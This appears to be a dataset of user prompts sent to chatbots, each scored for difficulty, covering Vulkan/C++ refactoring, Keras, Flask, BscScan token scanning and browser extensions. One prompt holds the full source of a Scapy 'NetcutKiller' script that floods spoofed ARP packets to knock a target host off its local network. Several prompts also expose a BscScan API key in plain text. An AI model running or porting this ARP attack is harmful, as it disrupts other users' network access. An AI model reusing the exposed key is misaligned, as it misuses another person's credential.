utilise vulkan.hpp, RAII and align with the Renderer class? BufferUtils.h: #pragma once #include <vulkan/vulkan.h> #include <stdint.h> namespace BufferUtils { void CreateBuffer( VkDevice device, VkPhysicalDevice physicalDevice, VkDeviceSize size, VkBufferUsageFlags usage, VkMemoryPropertyFlags properties, VkBuffer& buffer, VkDeviceMemory& bufferMemory); uint32_t FindMemoryType(VkPhysicalDevice physicalDevice, uint32_t typeFilter, VkMemoryPropertyFlags properties); void CopyBuffer( VkDevice device, VkCommandPool commandPool, VkQueue graphicsQueue, VkBuffer srcBuffer, VkBuffer dstBuffer, VkDeviceSize size); } BufferUtils.cpp: #include "BufferUtils.h" #include <stdexcept> namespace BufferUtils { void CreateBuffer( VkDevice device, VkPhysicalDevice physicalDevice, VkDeviceSize size, VkBufferUsageFlags usage, VkMemoryPropertyFlags properties, VkBuffer& buffer, VkDeviceMemory& bufferMemory) { VkBufferCreateInfo bufferInfo{}; bufferInfo.sType = VK_STRUCTURE_TYPE_BUFFER_CREATE_INFO; bufferInfo.size = size; bufferInfo.usage = usage; bufferInfo.sharingMode = VK_SHARING_MODE_EXCLUSIVE; if (vkCreateBuffer(device, &bufferInfo, nullptr, &buffer) != VK_SUCCESS) { throw std::runtime_error("Failed to create buffer!"); } VkMemoryRequirements memRequirements; vkGetBufferMemoryRequirements(device, buffer, &memRequirements); VkMemoryAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_MEMORY_ALLOCATE_INFO; allocInfo.allocationSize = memRequirements.size; allocInfo.memoryTypeIndex = FindMemoryType(physicalDevice, memRequirements.memoryTypeBits, properties); if (vkAllocateMemory(device, &allocInfo, nullptr, &bufferMemory) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate buffer memory!"); } vkBindBufferMemory(device, buffer, bufferMemory, 0); } uint32_t FindMemoryType(VkPhysicalDevice physicalDevice, uint32_t typeFilter, VkMemoryPropertyFlags properties) { VkPhysicalDeviceMemoryProperties memProperties; vkGetPhysicalDeviceMemoryProperties(physicalDevice, &memProperties); for (uint32_t i = 0; i < memProperties.memoryTypeCount; i++) { if ((typeFilter & (1 << i)) && (memProperties.memoryTypes[i].propertyFlags & properties) == properties) { return i; } } throw std::runtime_error("Failed to find suitable memory type!"); } void CopyBuffer( VkDevice device, VkCommandPool commandPool, VkQueue graphicsQueue, VkBuffer srcBuffer, VkBuffer dstBuffer, VkDeviceSize size) { VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandPool = commandPool; allocInfo.commandBufferCount = 1; VkCommandBuffer commandBuffer; vkAllocateCommandBuffers(device, &allocInfo, &commandBuffer); VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; beginInfo.flags = VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT; vkBeginCommandBuffer(commandBuffer, &beginInfo); VkBufferCopy copyRegion{}; copyRegion.srcOffset = 0; // Optional copyRegion.dstOffset = 0; // Optional copyRegion.size = size; vkCmdCopyBuffer(commandBuffer, srcBuffer, dstBuffer, 1, &copyRegion); vkEndCommandBuffer(commandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &commandBuffer; vkQueueSubmit(graphicsQueue, 1, &submitInfo, VK_NULL_HANDLE); vkQueueWaitIdle(graphicsQueue); vkFreeCommandBuffers(device, commandPool, 1, &commandBuffer); } }
95eba80dafc9ff77bce9c96c77318881
{ "intermediate": 0.3283790647983551, "beginner": 0.4167405962944031, "expert": 0.25488030910491943 }
12,718
how can I download visual studio code for windows 7
142ceea6de22696180763ee8d469f82e
{ "intermediate": 0.5672650933265686, "beginner": 0.21063844859600067, "expert": 0.22209642827510834 }
12,719
Hello
0b3ca746ed1b906d35161bafefe82b46
{ "intermediate": 0.3123404085636139, "beginner": 0.2729349136352539, "expert": 0.4147246778011322 }
12,720
import numpy as np from keras.models import Sequential from keras.layers import Dense from keras.layers import LSTM from keras.utils import np_utils from tensorflow.keras.preprocessing.sequence import pad_sequences maxlen = 100 alphabet='hello' chars=set([char for char in alphabet]) chars_count=len(chars) char2index=dict((c,i) for i,c in enumerate(chars)) index2char=dict((i,c) for i,c in enumerate(chars)) seq_1en=1 dataX=[] dataY=[] for i in range(0,len(alphabet)- seq_1en ,1): seq_in=alphabet[0:i+ seq_1en] seq_out=alphabet[i+ seq_1en] #使用字符对应的数值进行训练 dataX.append([char2index[ch] for ch in seq_in]) dataY.append(char2index[seq_out]) max_1en=len(alphabet)-1.#最大输入长度 #.填充 X=int(pad_sequences(dataX,maxlen= max_1en,dtype='float32')) #1.rnn输入层必须是3D。 #3个输入尽寸的含义是:.样本,时间步长和特征。 X=np.reshape(X,(len(dataX),max_1en,1)) print(X) #归一化 X=int(X/float(chars_count)) # one-hot编码 y=np_utils.to_categorical(dataY) model=Sequential() model.add(LSTM(32,input_shape=(x.shape[1],x.shape[2]),return_sequences=False,unro11=True)) mode1.add(Dense(y.shape[1],activation='softmax')) model.compile(metrics=['accuracy'],optimizer='adam',loss='categorical_crossentropx') # verbose:日志显示,0为不在标准输出流输出日志信息,1为输出进度条记录,2为每个epoch输出一行记录 # Keras中mode7.evaluate ()返回的是损失值和你选定的指标值 for pattern in dataX: X=int(pad_sequences([pattern],maxlen=max_1en,dtype='f1oat32')) X = np.reshape(x,(1, max_len, 1)) X=int(X / float(len(alphabet))) prediction=mode1.predict(X, verbose=0) indeX = np.argmax(prediction) result = index2char[indeX] seq_in=[index2char[value] for value in pattern] print(seq_in,"->", result) 看看哪错了
aa2387629878f9b8b1467f5d21d608cf
{ "intermediate": 0.29780691862106323, "beginner": 0.41142112016677856, "expert": 0.2907719314098358 }
12,721
can you check the youtube description text using discord js
fe618c6f3f5bf3b2a95f0e04c735d8c8
{ "intermediate": 0.34540262818336487, "beginner": 0.22899797558784485, "expert": 0.42559945583343506 }
12,722
have a raw data about fraud financial transaction, give some ways to aggregated new feature when my raw data have: time doing transactions in day (24h format), amount, type of item transaction, job of user, user id, user lat, user long, merchant id, merchant lat, merchant long, type of transactions. Then make a class of python to create them, each new feature in a function of this class.
a45b63394c85038c56714e4519ca54eb
{ "intermediate": 0.3237755298614502, "beginner": 0.49909988045692444, "expert": 0.17712454497814178 }
12,723
What is the regular expression for a string that should match all lowercase or uppercase letters, all numbers, a dash and underscore ?
ba92fb5c04da139725a9dd4cacfbf002
{ "intermediate": 0.4361970126628876, "beginner": 0.23916056752204895, "expert": 0.32464244961738586 }
12,724
do you know x++
38e0dc713ef449b889a33deefe7e6f2c
{ "intermediate": 0.37710651755332947, "beginner": 0.25234323740005493, "expert": 0.3705502152442932 }
12,725
# Оптимизированный!!! Возвращает адреса созданных токенов из новых блоков в реальном времени # Выводит только контракты, у которых есть имя # Использован Web3 import asyncio import aiohttp import time from web3 import Web3 bscscan_api_key = 'CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS' # Create a semaphore with a limit of 3 semaphore = asyncio.Semaphore(1) abi = [{"constant": True, "inputs": [], "name": "name", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function"}] w3 = Web3(Web3.HTTPProvider("https://bsc-dataseed.binance.org/")) async def get_contract_details(contract_address): try: checksum_address = Web3.to_checksum_address(contract_address) contract = w3.eth.contract(address=checksum_address, abi=abi) name = contract.functions.name().call() except Exception as e: print(f"Error getting contract details: {e}") return None return {"name": name} async def get_latest_block_number(): async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_blockNumber&apikey={bscscan_api_key}' async with session.get(url) as response: data = await response.json() return int(data['result'], 16) async def get_external_transactions(block_number): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getBlockByNumber&tag={block_number}&boolean=true&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return [] if data['result'] is None or isinstance(data['result'], str): print(f"Error: Cannot find the block") return [] return data['result'].get('transactions', []) async def get_contract_address(tx_hash): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getTransactionReceipt&txhash={tx_hash}&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return None if data['result'] is None or not isinstance(data['result'], dict): print(f"Error: Cannot find the address") return None return data['result'].get('contractAddress') def check_method_id(input_data): method_id = input_data[:10] return method_id[-4:] == '6040' async def process_block(block_number_int): block_number = hex(block_number_int) transactions = await get_external_transactions(block_number) if not transactions: print(f'No transactions found in block {block_number_int}') else: print(f'Transactions in block {block_number_int}:') for tx in transactions: if check_method_id(tx['input']): if tx['to'] is None: contract_address = await get_contract_address(tx['hash']) contract_details = await get_contract_details(contract_address) if contract_details: print(f"New contract creation with TokenTracker details: Contract Address: {contract_address}, Creator Address: {tx['from']}, Name: {contract_details['name']}, BlockNumber: {block_number_int}") print("\n") # Print an empty line between blocks async def display_transactions(block_start, block_end): tasks = [process_block(block_number) for block_number in range(block_start, block_end + 1)] await asyncio.gather(*tasks) async def main(): block_start = await get_latest_block_number() # Start with the latest block number block_end = block_start + 10 # Process 10 blocks initially while True: await display_transactions(block_start, block_end) # Update block_start and block_end to check for new blocks every 5 seconds block_start = block_end + 1 block_end = await get_latest_block_number() time.sleep(5) asyncio.run(main()) Complete the code above so that it also displays the age of the token contract
fea2781225baa724beffc8808eef5fa4
{ "intermediate": 0.4319572150707245, "beginner": 0.4892805814743042, "expert": 0.0787622258067131 }
12,726
1. remove credits/blogs 2. remove any errors and warnings 3. make it compatible with Npcap, windows 10, Python 3: fix this and make it compatible with windows 10: #!C:\Python26\python #Exploit Title: Netcut Denial of Service Vulnerability #Author: MaYaSeVeN #Blog: http://mayaseven.blogspot.com #PoC: Video http://www.youtube.com/user/mayaseven # Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png #Version: Netcut 2 #Software Link: http://www.mediafire.com/?jiiyq2wcpp41266 #Tested on: Windows Xp, Windows 7 #Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf import subprocess,sys,os def protect_XP(gw_ip,gw_mac): subprocess.call(["arp", "-s",gw_ip,gw_mac]) print "Protected himself {XP}" def protect_Vista(networkCon,gw_ip,gw_mac): subprocess.call(["netsh","interface","ipv4","add","neighbors",networkCon,gw_ip,gw_mac]) print "Protected himself {NT}" def detect(): ans = sniff(filter='arp',timeout=7) target=[] for r in ans.res: target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%")) return target def preattack(gw_ip): flag = 0 num = [] count = 0 target = 0 temp = 0 print "Detecting..." d = detect() for i in range(len(d)): if d[i].split()[0] == "255.255.255.255": num.append(d.count(d[i])) if d.count(d[i]) > count: count = d.count(d[i]) target = i if d[i].split()[0] == gw_ip: temp += 1 if len(d) < 7: print "[-] No one use Netcut or try again" exit() if len(num) * 7 < temp: num[:] = [] count = 0 result = float(temp) / len(d) * 100 for j in range(len(d)): if d[j].split()[0] == gw_ip: if d.count(d[j]) > count: count = d.count(d[j]) target = j result = float(temp) / len(d) * 100 flag = 1 else: num.reverse() result = float(num[0] + temp) / len(d) * 100 print "There is a possibility that " + str(result) + "%" if result >= 50: target_mac = d[target].split()[1] target_ip = d[target].split()[2] print "[+] Detected, Netcut using by IP %s MAC %s" % (target_ip, target_mac) if flag == 0: attack(target_mac, target_ip, gw_ip) else: print "[-] Can't Attack" else: print "[-] No one use Netcut or try again" def attack(target_mac,target_ip,gw_ip): print "[+] Counter Attack !!!" e = Ether(dst="FF:FF:FF:FF:FF:FF") while 1: a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1) p = e/a/Padding("\x00"*18) sendp(p,verbose=0) a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2) p1 = e/a1/Padding("\x00"*18) sendp(p1,verbose=0) if __name__ == '__main__': conf.sniff_promisc=False os.system("cls") print "###################################################" print " __ __ __ __ _____ __ __ _ _" print "| \/ | \ \ / / / ____| \ \ / / | \ | |" print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |" print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |" print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |" print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|" print " " print "###################################################" print "" print "http://mayaseven.blogspot.com" print "" if (len(sys.argv) <= 4 and len(sys.argv) > 1): if(len(sys.argv) == 2): gw_ip = sys.argv[1] preattack(gw_ip) if(len(sys.argv) == 3): gw_ip = sys.argv[1] gw_mac = sys.argv[2] protect_XP(gw_ip,gw_mac) preattack(gw_ip) if(len(sys.argv) == 4): gw_ip = sys.argv[1] gw_mac = sys.argv[2] networkCon = sys.argv[3] protect_Vista(networkCon,gw_ip,gw_mac) preattack(gw_ip) else: print ''' Mode: 1.)Attack only Usage: NetcutKiller <IP_Gateway> e.g. NetcutKiller.py 192.168.1.1 2.)Attack with protect himself on WinXP Usage: NetcutKiller <IP_Gateway> <MAC_Gateway> e.g. NetcutKiller.py 192.168.1.1 00:FA:77:AA:BC:AF 3.)Attack with protect himself on Win7 or NT Usage: NetcutKiller <IP_Gateway> <MAC_Gateway> <Network Connection> e.g. NetcutKiller.py 192.168.1.1 00:FA:77:AA:BC:AF "Wireless Network Connection" '''
c0de570870f7d64e9e5fa38ea05dc64b
{ "intermediate": 0.3622192442417145, "beginner": 0.4127882719039917, "expert": 0.22499245405197144 }
12,727
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. I am in the process of converting the codebase from using vulkan.h to vulkan.hpp, as well as utilising RAII. Here is the new header for the BufferUtils class: BufferUtils.h: #pragma once #include <vulkan/vulkan.hpp> namespace BufferUtils { void CreateBuffer( vk::Device device, vk::PhysicalDevice physicalDevice, vk::DeviceSize size, vk::BufferUsageFlags usage, vk::MemoryPropertyFlags properties, vk::Buffer& buffer, vk::DeviceMemory& bufferMemory); uint32_t FindMemoryType(vk::PhysicalDevice physicalDevice, uint32_t typeFilter, vk::MemoryPropertyFlags properties); void CopyBuffer( vk::Device device, vk::CommandPool commandPool, vk::Queue graphicsQueue, vk::Buffer srcBuffer, vk::Buffer dstBuffer, vk::DeviceSize size); } Can you update the following code of the Mesh class to utilise vulkan.hpp, RAII and align with the BufferUtils class? Mesh.h: #pragma once #include <vector> #include <vulkan/vulkan.h> #include <glm/glm.hpp> #include "BufferUtils.h" struct Vertex { glm::vec3 position; glm::vec3 color; glm::vec2 texCoord; }; class Mesh { public: Mesh(); ~Mesh(); void Initialize(std::vector<Vertex> vertices, std::vector<uint32_t> indices, VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue); void Initialize(VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue); void Cleanup(); const std::vector<Vertex>& GetVertices() const; const std::vector<uint32_t>& GetIndices() const; VkBuffer GetVertexBuffer() const; VkBuffer GetIndexBuffer() const; void SetVertices(const std::vector<Vertex>& vertices); void SetIndices(const std::vector<uint32_t>& indices); std::vector<VkVertexInputBindingDescription> GetVertexInputBindingDescriptions() const; std::vector<VkVertexInputAttributeDescription> GetVertexInputAttributeDescriptions() const; private: VkDevice device; std::vector<Vertex> vertices; std::vector<uint32_t> indices; VkBuffer vertexBuffer; VkDeviceMemory vertexBufferMemory; VkBuffer indexBuffer; VkDeviceMemory indexBufferMemory; }; Mesh.cpp: #include "Mesh.h" Mesh::Mesh() : device(VK_NULL_HANDLE), vertexBuffer(VK_NULL_HANDLE), vertexBufferMemory(VK_NULL_HANDLE), indexBuffer(VK_NULL_HANDLE), indexBufferMemory(VK_NULL_HANDLE) { } Mesh::~Mesh() { Cleanup(); } void Mesh::Initialize(std::vector<Vertex> vertices, std::vector<uint32_t> indices, VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue) { this->vertices = vertices; this->indices = indices; this->device = device; Initialize(device, physicalDevice, commandPool, graphicsQueue); // Create vertex buffer and index buffer // (assuming you have helper functions CreateBuffer and CopyBuffer) // … } void Mesh::Initialize(VkDevice device, VkPhysicalDevice physicalDevice, VkCommandPool commandPool, VkQueue graphicsQueue) { this->device = device; // Create vertex buffer and index buffer // (assuming you have helper functions CreateBuffer and CopyBuffer) // … // Declare and initialize stagingBuffer and bufferSize here VkBuffer stagingBuffer; VkDeviceMemory stagingBufferMemory; VkDeviceSize bufferSize = sizeof(vertices[0]) * vertices.size(); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingBuffer, stagingBufferMemory); void* data; vkMapMemory(device, stagingBufferMemory, 0, bufferSize, 0, &data); memcpy(data, vertices.data(), (size_t)bufferSize); vkUnmapMemory(device, stagingBufferMemory); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, vertexBuffer, vertexBufferMemory); BufferUtils::CopyBuffer(device, commandPool, graphicsQueue, stagingBuffer, vertexBuffer, bufferSize); vkDestroyBuffer(device, stagingBuffer, nullptr); vkFreeMemory(device, stagingBufferMemory, nullptr); bufferSize = sizeof(indices[0]) * indices.size(); VkBuffer stagingIndexBuffer; VkDeviceMemory stagingIndexBufferMemory; BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, stagingIndexBuffer, stagingIndexBufferMemory); vkMapMemory(device, stagingIndexBufferMemory, 0, bufferSize, 0, &data); memcpy(data, indices.data(), (size_t)bufferSize); vkUnmapMemory(device, stagingIndexBufferMemory); BufferUtils::CreateBuffer(device, physicalDevice, bufferSize, VK_BUFFER_USAGE_INDEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, indexBuffer, indexBufferMemory); BufferUtils::CopyBuffer(device, commandPool, graphicsQueue, stagingIndexBuffer, indexBuffer, bufferSize); vkDestroyBuffer(device, stagingIndexBuffer, nullptr); vkFreeMemory(device, stagingIndexBufferMemory, nullptr); } void Mesh::Cleanup() { if (device != VK_NULL_HANDLE) { if (vertexBuffer != VK_NULL_HANDLE) { vkDestroyBuffer(device, vertexBuffer, nullptr); vkFreeMemory(device, vertexBufferMemory, nullptr); vertexBuffer = VK_NULL_HANDLE; vertexBufferMemory = VK_NULL_HANDLE; } if (indexBuffer != VK_NULL_HANDLE) { vkDestroyBuffer(device, indexBuffer, nullptr); vkFreeMemory(device, indexBufferMemory, nullptr); indexBuffer = VK_NULL_HANDLE; indexBufferMemory = VK_NULL_HANDLE; } } } const std::vector<Vertex>& Mesh::GetVertices() const { return vertices; } const std::vector<uint32_t>& Mesh::GetIndices() const { return indices; } VkBuffer Mesh::GetVertexBuffer() const { return vertexBuffer; } VkBuffer Mesh::GetIndexBuffer() const { return indexBuffer; } void Mesh::SetVertices(const std::vector<Vertex>& vertices) { this->vertices = vertices; } void Mesh::SetIndices(const std::vector<uint32_t>& indices) { this->indices = indices; } std::vector<VkVertexInputBindingDescription> Mesh::GetVertexInputBindingDescriptions() const { std::vector<VkVertexInputBindingDescription> bindingDescriptions(1); bindingDescriptions[0].binding = 0; bindingDescriptions[0].stride = sizeof(Vertex); bindingDescriptions[0].inputRate = VK_VERTEX_INPUT_RATE_VERTEX; return bindingDescriptions; } std::vector<VkVertexInputAttributeDescription> Mesh::GetVertexInputAttributeDescriptions() const { std::vector<VkVertexInputAttributeDescription> attributeDescriptions(3); // Position attribute attributeDescriptions[0].binding = 0; attributeDescriptions[0].location = 0; attributeDescriptions[0].format = VK_FORMAT_R32G32B32_SFLOAT; attributeDescriptions[0].offset = offsetof(Vertex, position); // Color attribute attributeDescriptions[1].binding = 0; attributeDescriptions[1].location = 1; attributeDescriptions[1].format = VK_FORMAT_R32G32B32_SFLOAT; attributeDescriptions[1].offset = offsetof(Vertex, color); attributeDescriptions[2].binding = 0; attributeDescriptions[2].location = 2; attributeDescriptions[2].format = VK_FORMAT_R32G32_SFLOAT; attributeDescriptions[2].offset = offsetof(Vertex, texCoord); return attributeDescriptions; }
4b99ea0161751e42cb24cd4da43445ef
{ "intermediate": 0.37721872329711914, "beginner": 0.37873294949531555, "expert": 0.24404840171337128 }
12,728
Make extion for chrome & Opera & Edge to this website www.blocksmc.com the website main color is background-color: #008cd3; my extintion have a button (slider from right to left & left to right) if user make the button == Dark change every element have background-color: #008cd3; to background-color: #292b2c; and if user make the button == Dark change every element have background-color: #292b2c; to background-color: #008cd3;
4aaa92a44f58fa11b91f3fe8a247876a
{ "intermediate": 0.40302327275276184, "beginner": 0.31831809878349304, "expert": 0.2786586284637451 }
12,729
Create a cdk with the following 1. Trigger a sns when lambda receives a message 2. SNS sends an email 3. Include cloudwatch logs for observability
8a141f6cc0807f64edc3fbb71f6a390f
{ "intermediate": 0.3799857199192047, "beginner": 0.30968695878982544, "expert": 0.31032732129096985 }
12,730
Method does not exist or incorrect signature: void getRelatedQuoteMap(Id, Set<Id>) apex error in salesforce
ede87c8ce1f0f4911da6f0272b5115aa
{ "intermediate": 0.37975388765335083, "beginner": 0.4409359395503998, "expert": 0.179310142993927 }
12,731
how can I optimize a constant with alot of data
02e3bfe0f12aa549b5bcaa1c8096d744
{ "intermediate": 0.29040178656578064, "beginner": 0.10668181627988815, "expert": 0.602916419506073 }
12,732
generate code to create a slack app to post scheduled messages through api
377e459f3f1da35bb26866507322c40d
{ "intermediate": 0.5512700080871582, "beginner": 0.1625121682882309, "expert": 0.2862178087234497 }
12,733
import asyncio import aiohttp import time import datetime from web3 import Web3 bscscan_api_key = 'CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS' # Create a semaphore with a limit of 3 semaphore = asyncio.Semaphore(1) abi = [{"constant": True, "inputs": [], "name": "name", "outputs": [{"name": "", "type": "string"}], "payable": False, "stateMutability": "view", "type": "function"}] w3 = Web3(Web3.HTTPProvider("https://bsc-dataseed.binance.org/")) async def get_contract_details(contract_address): try: checksum_address = Web3.to_checksum_address(contract_address) contract = w3.eth.contract(address=checksum_address, abi=abi) name = contract.functions.name().call() except Exception as e: print(f"Error getting contract details: {e}") return None return {"name": name} async def get_latest_block_number(): async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_blockNumber&apikey={bscscan_api_key}' async with session.get(url) as response: data = await response.json() return int(data['result'], 16) async def get_external_transactions(block_number): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getBlockByNumber&tag={block_number}&boolean=true&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return [] if data['result'] is None or isinstance(data['result'], str): print(f"Error: Cannot find the block") return [] return data['result'].get('transactions', []) async def get_contract_address(tx_hash): async with semaphore: async with aiohttp.ClientSession() as session: url = f'https://api.bscscan.com/api?module=proxy&action=eth_getTransactionReceipt&txhash={tx_hash}&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as e: print(f'Error in API request: {e}') return None if data['result'] is None or not isinstance(data['result'], dict): print(f"Error: Cannot find the address") return None return data['result'].get('contractAddress') def check_method_id(input_data): method_id = input_data[:10] return method_id[-4:] == '6040' async def get_block_details(block_number): try: block = w3.eth.getBlock(block_number) except Exception as e: print(f"Error getting block details: {e}") return None return {"timestamp": block['timestamp']} async def process_block(block_number_int): block_number = hex(block_number_int) transactions = await get_external_transactions(block_number) if not transactions: print(f'No transactions found in block {block_number_int}') else: print(f'Transactions in block {block_number_int}:') for tx in transactions: if check_method_id(tx['input']): if tx['to'] is None: contract_address = await get_contract_address(tx['hash']) contract_details = await get_contract_details(contract_address) if contract_details: block_details = await get_block_details(block_number_int) contract_age = datetime.datetime.now() - datetime.datetime.fromtimestamp(block_details["timestamp"]) print(f"New contract creation with TokenTracker details: Contract Address: {contract_address}, Creator Address: {tx['from']}, Name: {contract_details['name']}, BlockNumber: {block_number_int}, Contract Age: {contract_age}") print("\n") # Print an empty line between blocks async def display_transactions(block_start, block_end): tasks = [process_block(block_number) for block_number in range(block_start, block_end + 1)] await asyncio.gather(*tasks) async def main(): block_start = await get_latest_block_number() # Start with the latest block number block_end = block_start + 10 # Process 10 blocks initially while True: await display_transactions(block_start, block_end) # Update block_start and block_end to check for new blocks every 5 seconds block_start = block_end + 1 block_end = await get_latest_block_number() time.sleep(5) asyncio.run(main()) The code above throws the following error Transactions in block 29240837: Error getting block details: 'Eth' object has no attribute 'getBlock' Traceback (most recent call last): File "C:\Users\AshotxXx\PycharmProjects\FindAddress\TokenAddressHasNameREALTIMEWEB3\main.py", line 123, in <module> asyncio.run(main()) File "C:\Users\AshotxXx\AppData\Local\Programs\Python\Python311\Lib\asyncio\runners.py", line 190, in run return runner.run(main) ^^^^^^^^^^^^^^^^ File "C:\Users\AshotxXx\AppData\Local\Programs\Python\Python311\Lib\asyncio\runners.py", line 118, in run return self._loop.run_until_complete(task) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "C:\Users\AshotxXx\AppData\Local\Programs\Python\Python311\Lib\asyncio\base_events.py", line 653, in run_until_complete return future.result() ^^^^^^^^^^^^^^^ File "C:\Users\AshotxXx\PycharmProjects\FindAddress\TokenAddressHasNameREALTIMEWEB3\main.py", line 116, in main await display_transactions(block_start, block_end) File "C:\Users\AshotxXx\PycharmProjects\FindAddress\TokenAddressHasNameREALTIMEWEB3\main.py", line 109, in display_transactions await asyncio.gather(*tasks) File "C:\Users\AshotxXx\PycharmProjects\FindAddress\TokenAddressHasNameREALTIMEWEB3\main.py", line 103, in process_block contract_age = datetime.datetime.now() - datetime.datetime.fromtimestamp(block_details["timestamp"]) ~~~~~~~~~~~~~^^^^^^^^^^^^^ Fix it TypeError: 'NoneType' object is not subscriptable
097fdedf7eb95bd9296436146105f481
{ "intermediate": 0.4041537046432495, "beginner": 0.4749103784561157, "expert": 0.1209358498454094 }
12,734
Tell me what is better to use in JS var or let
ac0b3df825b0b13983ed91962ac6ec09
{ "intermediate": 0.22072970867156982, "beginner": 0.6554831266403198, "expert": 0.12378714978694916 }
12,735
what does ≡ in the equaiton "k ≡ k0 • Vmax"
54e1b524e61f78886f1f65dd8e660c5e
{ "intermediate": 0.2466530054807663, "beginner": 0.45312443375587463, "expert": 0.30022257566452026 }
12,736
i provide you my flask app from flask import Flask, render_template from source.main import get_all_videos app = Flask(__name__) @app.route('/') def home(): videos = get_all_videos() return render_template('index2.html',videos=videos) # main driver function if __name__ == '__main__': app.run(debug=True) from dotenv import load_dotenv import os import requests import json load_dotenv() # fetching data from env file API_KEY = os.environ['API_KEY'] BASE_URL = os.environ['BASE_URL'] # API method to fetch all videos def get_all_videos(): response = requests.get(f"{BASE_URL}/videos/get-only-best?min_duration=600&has_preview=true&per_page=50", headers={'X-API-Key': API_KEY}) # response = requests.get(f"{BASE_URL}/videos/get-by-id?video_ids=1869166", headers={'X-API-Key': API_KEY}) if response.status_code == 200: # data = response.json() # with open('videosinfo.json', 'w') as file: # json.dump(data, file) return response.json() else: return 'error something' get_all_videos() <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <link rel="stylesheet" href="../static/css/main.css"> </head> <body background="../static/img/bg.webp" class="text-yellow-50"> <div class="p-1 grid grid-cols-1 gap-2 gap-y-3 sm:grid-cols-2 sm:gap-2 md:grid-cols-3 lg:grid-cols-4 xl:grid-cols-5 md:gap-y-4 "> {% for video in videos['data'] %} <div> <img class="min-w-full max-w-full rounded-lg" src="https://images.pexels.com/photos/2698519/pexels-photo-2698519.jpeg?auto=compress&cs=tinysrgb&w=1600" alt="{{ video['title'] }}"> <div class="font-normal px-2"> <div class="leading-6 truncate hover:overflow-ellipsis hover:font-extrabold">{{ video['title'] }}</div> <div class="flex flex-row justify-start space-x-4 md:space-x-5"> <div class="leading-3">{{ video['views_count'] }}</div> <div class="leading-3">{{ video['votes_up'] }}</div> <div class="leading-3">{{ video['rating'] }}</div> <div class="leading-3">{{ video['categories'][0] }} </div> </div> </div> </div> {% endfor %} </div> </body> </html> you get the code?
d93d9073ca8dd9a79c50907811d83b2b
{ "intermediate": 0.5609573721885681, "beginner": 0.32843223214149475, "expert": 0.11061040312051773 }
12,737
